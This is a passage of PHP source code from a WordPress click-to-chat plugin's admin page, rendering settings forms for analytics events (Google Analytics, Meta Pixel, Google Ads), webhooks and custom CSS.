            'click-to-chat-other-settings',
            array( $this, 'settings_page' )
        );

        if ( ! defined( 'HT_CTC_PRO_VERSION' ) ) {
            add_submenu_page(
                'click-to-chat',
                __('Go Premium', 'click-to-chat-for-whatsapp'),
                '<span class="dashicons dashicons-star-filled" style="color: #ff8c00"></span><span id="ht-ctc-go-pro-link" style="color: #ff8c00;font-weight: 500;display: inline-block;margin-left: 5px;margin-top: 2px;">' . __('Go Premium', 'click-to-chat-for-whatsapp') . '</span>',
                'manage_options',
                'https://holithemes.com/plugins/click-to-chat/pricing/'
            );
        }

    }

    public function settings_page() {

        if ( ! current_user_can('manage_options') ) {
            return;
        }

        ?>

        <div class="wrap ctc-admin-other-settings">

            <?php settings_errors(); ?>

            <div class="row" style="display:flex; flex-wrap:wrap;">
                <div class="col s12 m12 xl8 options">
                    <form action="options.php" method="post" class="">
                        <?php settings_fields( 'ht_ctc_os_page_settings_fields' ); ?>
                        <?php do_settings_sections( 'ht_ctc_os_page_settings_sections_do' ) ?>
                        <?php submit_button() ?>
                    </form>
                </div>
                <div class="col s12 m12 xl4 ht-ctc-admin-sidebar">
                </div>
            </div>

            <!-- new row - After settings page  -->
            <div class="row">
                
                <!-- after settings page -->
                <?php // include_once HT_CTC_PLUGIN_DIR .'new/admin/admin_commons/admin-after-settings-page.php'; ?>
                    
            </div>


        </div>

        <?php

    }

    public function settings() {

        register_setting( 'ht_ctc_os_page_settings_fields', 'ht_ctc_othersettings' , array( $this, 'options_sanitize' ) );
        register_setting( 'ht_ctc_os_page_settings_fields', 'ht_ctc_code_blocks' , array( $this, 'options_sanitize' ) );
        
        add_settings_section( 'ht_ctc_os_settings_sections_add', '', array( $this, 'main_settings_section_cb' ), 'ht_ctc_os_page_settings_sections_do' );
        
        add_settings_field( 'ht_ctc_animations', 'Animations', array( $this, 'ht_ctc_animations_cb' ), 'ht_ctc_os_page_settings_sections_do', 'ht_ctc_os_settings_sections_add' );
        add_settings_field( 'ht_ctc_analytics', 'Analytics', array( $this, 'ht_ctc_analytics_cb' ), 'ht_ctc_os_page_settings_sections_do', 'ht_ctc_os_settings_sections_add' );
        add_settings_field( 'ht_ctc_webhooks', 'Webhooks', array( $this, 'ht_ctc_webhooks_cb' ), 'ht_ctc_os_page_settings_sections_do', 'ht_ctc_os_settings_sections_add' );
        add_settings_field( 'ht_ctc_custom_css', 'Custom CSS', array( $this, 'ht_ctc_custom_css_cb' ), 'ht_ctc_os_page_settings_sections_do', 'ht_ctc_os_settings_sections_add' );
        add_settings_field( 'ht_ctc_othersettings', 'Advanced Settings', array( $this, 'ht_ctc_othersettings_cb' ), 'ht_ctc_os_page_settings_sections_do', 'ht_ctc_os_settings_sections_add' );
        
    }

    public function main_settings_section_cb() {
        ?>
        <h1>Other Settings</h1>
        <div class="ctc_admin_top_menu" style="float:right; margin:0px 18px;">
            <a href="#ht_ctc_analytics">Analytics</a> | <a href="#ht_ctc_webhooks">Webhooks</a>
        </div>
        <?php
        do_action('ht_ctc_ah_admin' );
    }

    function ht_ctc_analytics_cb() {

        $options = get_option('ht_ctc_othersettings');
        $dbrow = 'ht_ctc_othersettings';
        ?>
        <ul class="collapsible" data-collapsible="accordion" id="ht_ctc_analytics">
        <li class="active have-sub-collapsible">
        <div class="collapsible-header"><?php _e( 'Google Analytics, Meta Pixel, Google Ads Conversion', 'click-to-chat-for-whatsapp' ); ?>
           <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
        <div class="collapsible-body">
        
        <?php

        /**
         * parms_saved - hidden input filed. 
         * adds to db. while user save changes. useful to identify user saved the params. (especially if user deletes all params - fallback values adds only if parms_saved not exits. (backward compatible))
         * @since 3.31
         * 
         * before 3.31 google_analytics, ga4 checkbox exists. and now it become one g_an checkbox and value of g_an is ga4 by default(new installs). and for upgrades it will be ga/ga4. updated at class ht-ctc-update-db.php
         * 
         */
        ?>
        <input name="<?= $dbrow; ?>[parms_saved]" value="after_3_31" type="hidden" class="hide">
        <?php

        // Google Analytics
        $g_an_value = ( isset( $options['g_an'] ) ) ? esc_attr( $options['g_an'] ) : 'ga4';

        $google_analytics_checkbox = ( isset( $options['g_an']) ) ? 1 : '';
        // $google_analytics_checkbox = ( isset( $options['g_an']) ) ? esc_attr( $options['g_an'] ) : '';


        ?>
        <ul class="collapsible col_google_analytics coll_active" data-coll_active="col_google_analytics" id="col_google_analytics">
        <li class="">
        <div class="collapsible-header">
            <span><?php _e( 'Google Analytics', 'click-to-chat-for-whatsapp' ); ?></span>
            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
        <div class="collapsible-body">
        <p>
        <p class="description"><?php _e( 'If Google Analytics installed creates an Event there', 'click-to-chat-for-whatsapp' ); ?> - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/google-analytics/"><?php _e( 'more info', 'click-to-chat-for-whatsapp' ); ?></a> </p>
            <br>
            <label class="ctc_checkbox_label">
                <input name="<?= $dbrow; ?>[g_an]" type="checkbox" value="<?= $g_an_value ?>" <?php checked( $google_analytics_checkbox, 1 ); ?> id="google_analytics" />
                <span><?php _e( 'Google Analytics', 'click-to-chat-for-whatsapp' ); ?></span>
            </label>
        </p>
        <?php

        /**
         * updated analytics. 
         *  new: settings for event name, type, params.
         * @since 3.31
         */

        // g_an_params not exits. (and user not yet saved/clear the params.) backward compatible.
        if ( !isset($options['g_an_params']) && !isset($options['parms_saved']) ) {

            if ('ga' == $g_an_value) {
                // if only ga is set. 
                $options['g_an_params'] = [
                    'g_an_param_1',
                    'g_an_param_2',
                ];

                $options['g_an_param_1'] = [
                    'key'=> 'event_category',
                    'value'=> 'Click to Chat for WhatsApp',
                ];

                $options['g_an_param_2'] = [
                    'key'=> 'event_label',
                    'value'=> '{title}, {url}',
                ];

            } else {
                // ga4 or .. 
                $options['g_an_params'] = [
                    'g_an_param_1',
                    'g_an_param_2',
                    'g_an_param_3',
                ];

                $options['g_an_param_1'] = [
                    'key'=> 'number',
                    'value'=> '{number}',
                ];

                $options['g_an_param_2'] = [
                    'key'=> 'title',
                    'value'=> '{title}',
                ];

                $options['g_an_param_3'] = [
                    'key'=> 'url',
                    'value'=> '{url}',
                ];
            }

            
        }

        $g_an_event_name = (isset($options['g_an_event_name'])) ? esc_attr( $options['g_an_event_name'] ) : 'click to chat';
        // list of all g_an params..

        $g_an_params = (isset($options['g_an_params']) && is_array($options['g_an_params']) ) ? array_map( 'esc_attr', $options['g_an_params'] ) : '';

        // count of g_an params.. used for adding new params.. always raises..
        $g_an_param_order = ( isset( $options['g_an_param_order']) ) ? esc_attr( $options['g_an_param_order'] ) : 5;
        $key_gen = 1;


        ?>


        <div class="row ctc_ga_values ctc_init_display_none">

            <div style="display:flex; justify-content:center; gap:5px;">
                <div class="input-field">
                    <p class="description"><?php _e( 'Event Name', 'click-to-chat-for-whatsapp' ); ?></p>
                    <input style="visibility:hidden;" type="text" class="input-margin">
                </div>
                <div class="input-field" style="">
                    <input name="<?= $dbrow; ?>[g_an_event_name]" value="<?= $g_an_event_name ?>" placeholder="click to chat" id="g_an_event_name" type="text" class="input-margin">
                    <label for="g_an_event_name"><?php _e( 'Event Name', 'click-to-chat-for-whatsapp' ); ?></label>
                </div>
                <div class="input-field">
                    <span style="visibility:hidden;" class="dashicons dashicons-no-alt" title="Remove Parameter"></span>
                </div>
            </div>
            
            <div class="ctc_an_params ctc_g_an_params ctc_sortable">
                <?php

                $num = '';

                if ( is_array($g_an_params) && isset($g_an_params[0]) ) {

                    foreach ($g_an_params as $param ) {

                        $param_options = ( isset($options[$param]) && is_array($options[$param]) ) ? map_deep( $options[$param], 'esc_attr' ) : '';

                        $key = ( isset( $param_options['key']) ) ? esc_attr( $param_options['key'] ) : '';
                        $value = ( isset( $param_options['value']) ) ? esc_attr( $param_options['value'] ) : '';

                        // if key and value not empty..
                        if ( !empty($key) && !empty($value) ) {
                            ?>
                            <div class="ctc_an_param g_an_param row" style="margin-bottom:5px; display:flex; gap:5px; justify-content:center;">

                                <input style="display: none;" name="ht_ctc_othersettings[g_an_params][]" type="text" class="g_an_param_order_ref_number" value="<?= $param ?>">

                                <div class="input-field">
                                    <input name="ht_ctc_othersettings[<?= $param ?>][key]" value="<?= $key ?>" id="<?= $param .'_key'?>" type="text" class="ht_ctc_g_an_param_key input-margin">
                                    <label for="<?= $param .'_key' ?>"><?php _e( 'Event Parameter', 'click-to-chat-for-whatsapp' ); ?></label>
                                </div>

                                <div class="input-field">
                                    <input name="ht_ctc_othersettings[<?= $param ?>][value]" value="<?= $value ?>" id="<?= $param ?>" type="text" class="ht_ctc_g_an_param_value input-margin">
                                    <label for="<?= $param ?>"><?php _e( 'Value', 'click-to-chat-for-whatsapp' ); ?></label>
                                </div>

                                <div class="input-field">
                                    <span style="color:#ddd; margin-left:auto; cursor:pointer;" class="an_param_remove dashicons dashicons-no-alt" title="Remove Parameter"></span>
                                </div>


                            </div>
                            <?php
                        }
                    
                        $key_gen++;
                    }
                    
                    
                }

                ?>
                <!-- new fileds - for adding -->
                <div class="ctc_new_g_an_param">
                </div>


                <!-- Add parameter - button -->
                <div style="text-align:center;">
                    <div class="ctc_add_g_an_param_button" style="display:inline-flex; margin: 10px 0px; cursor:pointer; font-size:16px; font-weight:500; padding: 8px; justify-content:center;">
                        <span style="color: #039be5;" class="dashicons dashicons-plus-alt2" ></span>
                        <span style="color: #039be5;">Add Parameter</span>
                    </div>
                </div>


                <!-- snippets -->
                <div class="ctc_g_an_param_snippets" style="display: none;">

                    <!-- g_an_param order. next key. (uses from js, saves in db) -->
                    <input type="text" name="ht_ctc_othersettings[g_an_param_order]" class="g_an_param_order" value="<?= $g_an_param_order ?>">

                    
                    <!-- snippet: add g_an_param -->
                    <div class="ctc_an_param g_an_param ht_ctc_g_an_add_param">

                        <div class="row" style="display:flex; gap:5px; justify-content:center;">

                            <input style="display: none;" type="text" class="g_an_param_order_ref_number" value="<?= $g_an_param_order ?>">

                            <div class="input-field">
                                <input type="text" placeholder="click" class="ht_ctc_g_an_add_param_key input-margin">
                                <label><?php _e( 'Event Parameter', 'click-to-chat-for-whatsapp' ); ?></label>
                            </div>

                            <div class="input-field">
                                <input type="text" placeholder="chat" class="ht_ctc_g_an_add_param_value input-margin">
                                <label><?php _e( 'Value', 'click-to-chat-for-whatsapp' ); ?></label>
                            </div>

                            <div class="input-field">
                                <span style="color:#ddd; margin-left:auto; cursor:pointer;" class="an_param_remove dashicons dashicons-no-alt" title="Remove Parameter"></span>
                            </div>
                            
                        </div>

                    </div>
                    
                </div>
                
                
            </div>
                    
            <!-- todo:l we can add - click count, date, username, if woo... add product details, .... -->
            <p class="description" style="margin:0px 10px;">Variables: {title}, {url}, and {number} replace the page's title, url, and number that were assigned to the widget.</p>

            <details class="ctc_details" style="margin:7px 10px;">
                <summary>PRO: Get Values from Cookies [[ ]] and URL Parameters [ ]</summary>
                <p style="margin:8px 10px 0px 10px;">
                    <strong>Fetch URL Parameter Values:</strong> To retrieve values from URL parameters, enclose the parameter name in a single square bracket <code>[]</code>. If the parameter doesn't exist, return blank. <br>
                    Example: <code>[gclid]</code>, <code>[utm_source]</code> 
                    <br>
                    <strong>Fetch Cookie Values:</strong> To retrieve values from cookies, enclose the cookie name in double square brackets <code>[[]]</code>. If the cookie doesn't exist, return blank.
                    <br> Example: <code>[[_ga]]</code> 
                </p> 
        </details>
            
        </div>

        <p class="description"><?php _e( 'Create Event from Google Tag manager (GTM)' ); ?> - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/create-event-from-google-tag-manager-using-datalayer-send-to-google-analytics/"><?php _e( 'dataLayer', 'click-to-chat-for-whatsapp' ); ?></a> </p>
        <br>

        </div>
        </li>
        </ul>
        


        <?php

        /**
         * Meta Pixel
         * updated: 3.31 (able to change event name, type, edit/add params)
         */

        $fb_pixel_checkbox = ( isset( $options['fb_pixel']) ) ? esc_attr( $options['fb_pixel'] ) : '';
        
        ?>
        <ul class="collapsible col_pixel coll_active" data-coll_active="col_pixel" id="col_pixel">
        <li class="">
        <div class="collapsible-header">
            <span><?php _e( 'Meta Pixel', 'click-to-chat-for-whatsapp' ); ?></span>
            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
        <div class="collapsible-body">
        <p class="description" style="margin-bottom: 15px;"><?php _e( 'If Meta Pixel installed creates an Event there', 'click-to-chat-for-whatsapp' ); ?> - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/facebook-pixel/"><?php _e( 'more info', 'click-to-chat-for-whatsapp' ); ?></a> </p>
 
        <p>
            <label class="ctc_checkbox_label">
                <input name="<?= $dbrow; ?>[fb_pixel]" type="checkbox" value="1" <?php checked( $fb_pixel_checkbox, 1 ); ?> id="fb_pixel" />
                <span><?php _e( 'Meta Pixel', 'click-to-chat-for-whatsapp' ); ?></span>
            </label>
        </p>
        <?php


        // if params not exits. (and user not yet saved/clear the params.)
        if ( !isset($options['pixel_params']) && !isset($options['parms_saved']) ) {
            
            $options['pixel_params'] = [
                'pixel_param_1',
                'pixel_param_2',
                'pixel_param_3',
                'pixel_param_4',
            ];
            
            $options['pixel_param_1'] = [
                'key'=> 'Category',
                'value'=> 'Click to Chat for WhatsApp',
            ];
            
            $options['pixel_param_2'] = [
                'key'=> 'ID',
                'value'=> '{number}',
            ];
            
            $options['pixel_param_3'] = [
                'key'=> 'Title',
                'value'=> '{title}',
            ];
            
            $options['pixel_param_4'] = [
                'key'=> 'URL',
                'value'=> '{url}',
            ];
            
        }
        
        $pixel_event_type = (isset($options['pixel_event_type'])) ? esc_attr( $options['pixel_event_type'] ) : 'trackCustom';
        $pixel_custom_event_name = (isset($options['pixel_custom_event_name'])) ? esc_attr( $options['pixel_custom_event_name'] ) : 'Click to Chat by HoliThemes';
        $pixel_standard_event_name = (isset($options['pixel_standard_event_name'])) ? esc_attr( $options['pixel_standard_event_name'] ) : 'Lead';

        $pixel_params = (isset($options['pixel_params'])) ? array_map( 'esc_attr', $options['pixel_params'] ) : '' ;

        // count of pixel params.. used for adding new params.. always raises..
        $pixel_param_order = ( isset( $options['pixel_param_order']) ) ? esc_attr( $options['pixel_param_order'] ) : 5;
        $key_gen = 1;

        // https://developers.facebook.com/docs/meta-pixel/implementation/conversion-tracking, https://developers.facebook.com/docs/meta-pixel/reference/
        ?>
        <div class="row ctc_pixel_values ctc_init_display_none">

            <div style="display:flex; justify-content:center; gap:5px;">
                <div class="input-field">
                    <p class="description"><?php _e( 'Event Type', 'click-to-chat-for-whatsapp' ); ?></p>
                    <input style="visibility:hidden;" type="text" class="input-margin">
                </div>
                <div class="" style="">
                    <select class="pixel_event_type" name="<?= $dbrow; ?>[pixel_event_type]">
                        <option value="trackCustom" <?= $pixel_event_type == 'trackCustom' ? 'SELECTED' : ''; ?> >Custom Event</option>
                        <option value="track" <?= $pixel_event_type == 'track' ? 'SELECTED' : ''; ?> >Standard</option>
                    </select>
                </div>
                <div class="input-field">
                    <span style="visibility:hidden;" class="dashicons dashicons-no-alt" title="Remove Parameter"></span>
                </div>
            </div>

            <div class="pixel_custom_event ctc_init_display_none">
                <div style="display:flex; justify-content:center; gap:5px;">
                    <div class="input-field">
                        <p class="description"><?php _e( 'Event Name', 'click-to-chat-for-whatsapp' ); ?></p>
                        <input style="visibility:hidden;" type="text" class="input-margin">
                    </div>
                    <div class="input-field" style="">
                        <input name="<?= $dbrow; ?>[pixel_custom_event_name]" value="<?= $pixel_custom_event_name ?>" placeholder="click to chat" id="pixel_custom_event_name" type="text" class="input-margin">
                        <label for="pixel_custom_event_name"><?php _e( 'Custom Event Name', 'click-to-chat-for-whatsapp' ); ?></label>
                    </div>
                    <div class="input-field">
                        <span style="visibility:hidden;" class="dashicons dashicons-no-alt" title="Remove Parameter"></span>
                    </div>
                </div>
            </div>

            <div class="pixel_standard_event ctc_init_display_none">
                <div style="display:flex; justify-content:center; gap:5px;">
                    <div class="input-field">
                        <p class="description"><?php _e( 'Event Name', 'click-to-chat-for-whatsapp' ); ?></p>
                        <input style="visibility:hidden;" type="text" class="input-margin">
                    </div>
                    <div class="input-field" style="">
                        <select class="pixel_standard_event_name" name="<?= $dbrow; ?>[pixel_standard_event_name]">
                            <option value="Lead" <?= $pixel_standard_event_name == 'Lead' ? 'SELECTED' : ''; ?> >Lead</option>
                            <option value="Contact" <?= $pixel_standard_event_name == 'Contact' ? 'SELECTED' : ''; ?> >Contact</option>
                            <option value="Purchase" <?= $pixel_standard_event_name == 'Purchase' ? 'SELECTED' : ''; ?> >Purchase</option>
                            <option value="Schedule" <?= $pixel_standard_event_name == 'Schedule' ? 'SELECTED' : ''; ?> >Schedule</option>
                            <option value="Subscribe" <?= $pixel_standard_event_name == 'Subscribe' ? 'SELECTED' : ''; ?> >Subscribe</option>
                            <option value="ViewContent" <?= $pixel_standard_event_name == 'ViewContent' ? 'SELECTED' : ''; ?> >ViewContent</option>
                        </select>
                    </div>
                    <div class="input-field">
                        <span style="visibility:hidden;" class="dashicons dashicons-no-alt" title="Remove Parameter"></span>
                    </div>
                </div>
            </div>
            
            <div class="ctc_an_params ctc_pixel_params ctc_sortable">
                <?php

                $num = '';

                if ( is_array($pixel_params) && isset($pixel_params[0]) ) {

                    foreach ($pixel_params as $param ) {

                        $param_options = ( isset($options[$param]) && is_array($options[$param]) ) ? map_deep( $options[$param], 'esc_attr' ) : '';

                        $key = ( isset( $param_options['key']) ) ? esc_attr( $param_options['key'] ) : '';
                        $value = ( isset( $param_options['value']) ) ? esc_attr( $param_options['value'] ) : '';

                        if ( !empty($key) && !empty($value) ) {
                            ?>
                            <div class="ctc_an_param pixel_param row" style="margin-bottom:5px; display:flex; gap:5px; justify-content:center;">

                                <input style="display: none;" name="ht_ctc_othersettings[pixel_params][]" type="text" class="pixel_param_order_ref_number" value="<?= $param ?>">

                                <div class="input-field">
                                    <input name="ht_ctc_othersettings[<?= $param ?>][key]" value="<?= $key ?>" id="<?= $param .'_key'?>" type="text" class="ht_ctc_g_an_param_key input-margin">
                                    <label for="<?= $param .'_key' ?>"><?php _e( 'Event Parameter', 'click-to-chat-for-whatsapp' ); ?></label>
                                </div>

                                <div class="input-field">
                                    <input name="ht_ctc_othersettings[<?= $param ?>][value]" value="<?= $value ?>" id="<?= $param ?>" type="text" class="ht_ctc_g_an_param_value input-margin">
                                    <label for="<?= $param ?>"><?php _e( 'Value', 'click-to-chat-for-whatsapp' ); ?></label>
                                </div>

                                <div class="input-field">
                                    <span style="color:#ddd; margin-left:auto; cursor:pointer;" class="an_param_remove dashicons dashicons-no-alt" title="Remove Parameter"></span>
                                </div>


                            </div>
                            <?php
                        }
                    
                        $key_gen++;
                    }
                    
                    
                }

                ?>
                <!-- new fileds - for adding -->
                <div class="ctc_new_pixel_param">
                </div>


                <!-- Add parameter - button -->
                <div style="text-align:center;">
                    <div class="ctc_add_pixel_param_button" style="display:inline-flex; margin: 10px 0px; cursor:pointer; font-size:16px; font-weight:500; padding: 8px; justify-content:center;">
                        <span style="color: #039be5;" class="dashicons dashicons-plus-alt2" ></span>
                        <span style="color: #039be5;">Add Parameter</span>
                    </div>
                </div>


                <!-- snippets -->
                <div class="ctc_pixel_param_snippets" style="display: none;">

                    <!-- pixel_param order. next key. (uses from js, saves in db) -->
                    <input type="text" name="ht_ctc_othersettings[pixel_param_order]" class="pixel_param_order" value="<?= $pixel_param_order ?>">

                    
                    <!-- snippet: add pixel_param -->
                    <div class="ctc_an_param pixel_param ht_ctc_pixel_add_param">

                        <div class="row" style="display:flex; gap:5px; justify-content:center;">

                            <input style="display: none;" type="text" class="pixel_param_order_ref_number" value="<?= $pixel_param_order ?>">

                            <div class="input-field">
                                <input type="text" placeholder="click" class="ht_ctc_pixel_add_param_key input-margin">
                                <label><?php _e( 'Event Parameter', 'click-to-chat-for-whatsapp' ); ?></label>
                            </div>

                            <div class="input-field">
                                <input type="text" placeholder="chat" class="ht_ctc_pixel_add_param_value input-margin">
                                <label><?php _e( 'Value', 'click-to-chat-for-whatsapp' ); ?></label>
                            </div>

                            <div class="input-field">
                                <span style="color:#ddd; margin-left:auto; cursor:pointer;" class="an_param_remove dashicons dashicons-no-alt" title="Remove Parameter"></span>
                            </div>
                            
                        </div>

                    </div>
                    
                </div>
                
                
            </div>


            <p class="description" style="margin:0px 10px;">Variables: {title}, {url}, {number} replace page title, url, and number that are assigned to the widget.</p>

            <details class="ctc_details" style="margin:7px 10px;">
                <summary>PRO: Get Values from Cookies [[ ]] and URL Parameters [ ]</summary>
                <p style="margin:8px 10px 0px 10px;">
                    <strong>Fetch URL Parameter Values:</strong> To retrieve values from URL parameters, enclose the parameter name in a single square bracket <code>[]</code>. If the parameter doesn't exist, return blank. <br>
                    Example: <code>[gclid]</code>, <code>[utm_source]</code> 
                    <br>
                    <strong>Fetch Cookie Values:</strong> To retrieve values from cookies, enclose the cookie name in double square brackets <code>[[]]</code>. If the cookie doesn't exist, return blank.
                    <br> Example: <code>[[_ga]]</code> 
                </p> 
        </details>

        </div>


        <br>

        </div>
        </li>
        </ul>

        <?php
            do_action('ht_ctc_ah_admin_after_fb_pixel');
        ?>

        <ul class="collapsible col_g_ads coll_active" data-coll_active="col_g_ads" id="col_g_ads">
        <li class="">
        <div class="collapsible-header">
            <span><?php _e( 'Google Ads Conversion', 'click-to-chat-for-whatsapp' ); ?></span>
            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
        <div class="collapsible-body">

        <?php
            // Google Ads gtag_report_conversion
            $ga_ads_checkbox = ( isset( $options['ga_ads']) ) ? esc_attr( $options['ga_ads'] ) : '';

            if ( ! defined( 'HT_CTC_PRO_VERSION' ) ) {
                ?>
                <p class="description ht_ctc_subtitle"><?php _e( 'Google Ads Conversion', 'click-to-chat-for-whatsapp' ); ?> - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/google-ads-conversion/">PRO</a></p>
                <?php
            }

            // enable, conversion id, label
            do_action('ht_ctc_ah_admin_google_ads');
            
        ?>
        </div>
        </li>
        </ul>

        <?php


        
        $analytics = ( isset( $options['analytics']) ) ? esc_attr( $options['analytics'] ) : 'all';
        $analytics_list = array(
            'all' => 'All Clicks',
            'session' => 'One click per session'
        );

        $analytics_message = 'All Clicks';
        if (isset($analytics_list["$analytics"])) {
            $analytics_message = $analytics_list["$analytics"];
        }
        
        ?>

        <br>
        <div class="analytics_count">
            <p class="description analytics_count_message" style="display:flex;"><?php _e( 'Analytics', 'click-to-chat-for-whatsapp' ); ?>: <span class="" style="cursor:pointer; border-bottom: 1px dotted;"><?= $analytics_message ?></span></p>
            <div class="analytics_count_select ctc_init_display_none">
                <select name="ht_ctc_othersettings[analytics]" class="select_analytics" style="border:unset; background-color:inherit;">
                    <?php 
                    foreach ( $analytics_list as $key => $value ) {
                    ?>
                    <option value="<?= $key ?>" <?= $analytics == $key ? 'SELECTED' : ''; ?> ><?= $value ?></option>
                    <?php
                    }
                    ?>
                </select>
                <p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/analytics-count/">Analytics Count</a></p>
            </div>
        </div>
        
        <?php
        
        if ( ! defined( 'HT_CTC_PRO_VERSION' ) ) {
            ?>
            <p class="description"><span class="ga_ads_display" style="font-size: 0.7em;"><span style="cursor:pointer; border-bottom: 1px dotted;">gtag_report_conversion</span></span></p>
            <div class="ga_ads_checkbox" style="display:none; margin: 20px 0px 0px 20px;">
                <p class="description">This feature requires to add JavaScript code on your website i.e. add gtag_report_conversion function</p>
                <p>
                    <label>
                        <input name="<?= $dbrow; ?>[ga_ads]" type="checkbox" value="1" <?php checked( $ga_ads_checkbox, 1 ); ?> id="ga_ads" />
                        <span><?php _e( 'call gtag_report_conversion function', 'click-to-chat-for-whatsapp' ); ?></span>
                    </label>
                </p>
                <p class="description"><?php _e( 'call gtag_report_conversion function, when user clicks', 'click-to-chat-for-whatsapp' ); ?> - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/call-gtag_report_conversion-function/"><?php _e( 'more info', 'click-to-chat-for-whatsapp' ); ?></a> </p>
                <br>
                <p class="description"><a href="https://holithemes.com/plugins/click-to-chat/google-ads-conversion/"><strong>PRO</strong></a>: Add Conversion ID, Conversion label direclty (no need to setup gtag_report_conversion function)</p>
            </div>
            <?php
        }
        ?>

        </div>
        </li>
        </ul>
        <?php
    }

    // webhook
    function ht_ctc_webhooks_cb() {

        $options = get_option('ht_ctc_othersettings');
        $dbrow = 'ht_ctc_othersettings';

        $hook_url = isset($options['hook_url']) ? esc_attr( $options['hook_url'] ) : '';

        ?>
        <ul class="collapsible ht_ctc_webhooks" data-collapsible="accordion" id="ht_ctc_webhooks">
        <li class="">
        <div class="collapsible-header"><?php _e( 'Webhooks', 'click-to-chat-for-whatsapp' ); ?>
            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
        <div class="collapsible-body">
        
        <p class="description" style="margin-bottom: 40px;"><?php _e( 'Integrate, Automation', 'click-to-chat-for-whatsapp' ); ?> <?php _e( 'using', 'click-to-chat-for-whatsapp' ); ?> <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/webhooks/"><?php _e( 'Webhooks', 'click-to-chat-for-whatsapp' ); ?></a></p>
       <p class="description" style="margin-top:10px;">To get the greetings form data, use the <a href="https://holithemes.com/plugins/click-to-chat/greetings-form#webhooks" target="_blank">Greetings Form webhook</a> feature.</p>

        <!-- Webhook URL -->
        <div class="row">
            <div class="input-field col s12">
                <input name="<?= $dbrow; ?>[hook_url]" value="<?= $hook_url ?>" id="hook_url" type="text" class="input-margin">
                <label for="hook_url"><?php _e( 'Webhook URL', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description"><?php _e( 'Clicking on the WhatsApp widget triggers this Webhook URL', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
        </div>

        <div class="row">
        
            <br>
            <div class="ctc_hook_value ctc_sortable">
                <?php

                // hook values
                $hook_v = (isset($options['hook_v'])) ? $options['hook_v'] : '' ;
                $count = 1;
                $num = '';

                if ( is_array($hook_v) ) {
                    $hook_v = array_filter($hook_v);
                    $hook_v = array_values($hook_v);
                    $hook_v = array_map('esc_attr', $hook_v );
                    $count = count($hook_v);

                    // hook values
                    if ( isset( $hook_v[0] ) ) {
                        for ($i=0; $i < $count ; $i++) {
                            $dbrow = "ht_ctc_othersettings[hook_v][$i]";
                            $num = $hook_v[$i];
                            ?>
                            <div class="additional-value row" style="margin-bottom: 15px;">
                                <div class="col s3">
                                    <p class="description handle">Value<?= $i+1; ?></p>
                                </div>
                                <div class="col s9 m6">
                                    <p style="display: flex;">
                                        <input name="<?= $dbrow; ?>" value="<?= $num; ?>" type="text"/>
                                        <span style="color:lightgrey; cursor:pointer;" class="hook_remove_value dashicons dashicons-no-alt"></span>
                                    </p>
                                </div>
                            </div>
                            <?php
                        }
                    }
                    
                }

                
                
                ?>
            </div>
                    
            <span style="color:#039be5; cursor:pointer; font-size:16px;" 
            class="add_hook_value dashicons dashicons-plus-alt2 col s12" 
            data-html='<div class="row additional-value"><div class="col s3"><p class="description"><?php _e( "Add Value", "click-to-chat-for-whatsapp" ); ?></p></div><div class="input-field col s9 m6" style="display: flex;"><input name="ht_ctc_othersettings[hook_v][]" value="" id="hook_v" type="text" class="input-margin"><label for="hook_v"><?php _e( "Value", "click-to-chat-for-whatsapp" ); ?></label><span style="color:lightgrey; cursor:pointer;" class="hook_remove_value dashicons dashicons-no-alt"></span></div></div>' 
            ><?php _e( "Add Value", "click-to-chat-for-whatsapp" ); ?></span>
            
        </div>
        <p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/pricing/">PRO</a>: Dynamic Variables - {number}, {url}, {time}, {title} </p>
        <!-- <p class="description">{number}: Number that is assigned to the widget</p> -->
        <details class="ctc_details" style="margin:7px 0px;">
        <summary>PRO: Get Values from Cookies [[ ]] and URL Parameters [ ]</summary>
                <p style="margin:8px 10px 0px 10px;">
                    <strong>Fetch URL Parameter Values:</strong> To retrieve values from URL parameters, enclose the parameter name in a single square bracket <code>[]</code>. If the parameter doesn't exist, return blank. <br>
                    Example: <code>[gclid]</code>, <code>[utm_source]</code> 
                    <br>
                    <strong>Fetch Cookie Values:</strong> To retrieve values from cookies, enclose the cookie name in double square brackets <code>[[]]</code>. If the cookie doesn't exist, return blank.
                    <br> Example: <code>[[_ga]]</code> 
                </p> 
        </details>
        <a class="description" target="_blank" href="https://holithemes.com/plugins/click-to-chat/webhooks/#pro">Webhooks</a>
        </div>
        </li>
        </ul>
        <?php
    }

    // custom css
    function ht_ctc_custom_css_cb() {

        $options = get_option('ht_ctc_code_blocks');
        $dbrow = 'ht_ctc_code_blocks';

        $custom_css = ( isset( $options['custom_css']) ) ? esc_attr( $options['custom_css'] ) : '';

        if ( !empty($custom_css) ) {
            // $custom_css = stripslashes($custom_css);
            $allowed_html = wp_kses_allowed_html( 'post' );
		    $custom_css = wp_kses($custom_css, $allowed_html);
        }

        ?>
        <ul class="collapsible ht_ctc_custom_css" data-collapsible="accordion" id="ht_ctc_custom_css">
        <li class="">
        <div class="collapsible-header"><?php _e( 'Custom CSS', 'click-to-chat-for-whatsapp' ); ?>
            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
        <div class="collapsible-body">

        <p class="description">Customize the Click to Chat plugin widget by adding custom <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/custom-css/">CSS Code</a></p>

        <!-- Custom CSS -->
        <div class="row">
            <div class="input-field col s12">
                <textarea name="<?= $dbrow; ?>[custom_css]" id="custom_css" class=""  placeholder="Custom CSS" style="padding:12px; height:160px;" ><?= $custom_css ?></textarea>
            </div>
        </div>

        </div>
        </li>
        </ul>
        <?php
    }
    

    // animations
    function ht_ctc_animations_cb() {

        $options = get_option('ht_ctc_othersettings');
